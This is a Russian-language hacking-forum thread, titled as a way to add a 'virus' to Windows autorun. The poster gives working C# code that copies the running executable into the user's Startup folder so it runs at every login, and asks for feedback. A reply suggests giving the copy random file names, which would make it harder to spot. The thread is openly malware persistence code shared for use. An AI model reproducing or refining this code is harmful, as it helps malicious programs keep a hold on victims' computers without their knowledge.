• XSS.stack #1 – первый литературный журнал от юзеров форума

[в целях безопасности )] Легкое добавление вируса в автозапуск и его открытие | C#

Smokezwlan

floppy-диск
Пользователь
Регистрация
23.03.2019
Сообщения
3
Реакции
1
C#:
private void Form1_Load(object sender, EventArgs e)
        {
            string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); //appdata
            string fileName = Process.GetCurrentProcess().MainModule.FileName; //текущее название исполняемого файла
            string filename1 = "file"; // название файла после сохранения   
            string directory = @"\Microsoft\Windows\Start Menu\Programs\Startup\";
            string pathFile = folderPath + directory + filename1 + @".exe";
            if (System.IO.File.Exists(pathFile))
            {

            }
            else
            {
                FileInfo fileInfo = new FileInfo(fileName);
                fileInfo.CopyTo(string.Concat(folderPath, directory + filename1 + @".exe"), true);

            }
        }

Принцип: Запускается файл, в независимости от того, переименован ли он был, он переносится в %appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Название файла.exe (Автозапуск). Если файл есть - ничего не происходит.
Просто выкладываю мой способ, жду критики, хочу улучшить код.
 
Это конечно не что-то новое, но если в целях обучения, то я бы тебе посоветовал убрать это:

Код:
if (System.IO.File.Exists(pathFile))

потому что если файл с таким названием уже есть, то не чего не происходит, проще было бы убрать эту проверку и в переменной pathFile генерировать ранодомное имя для файла.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх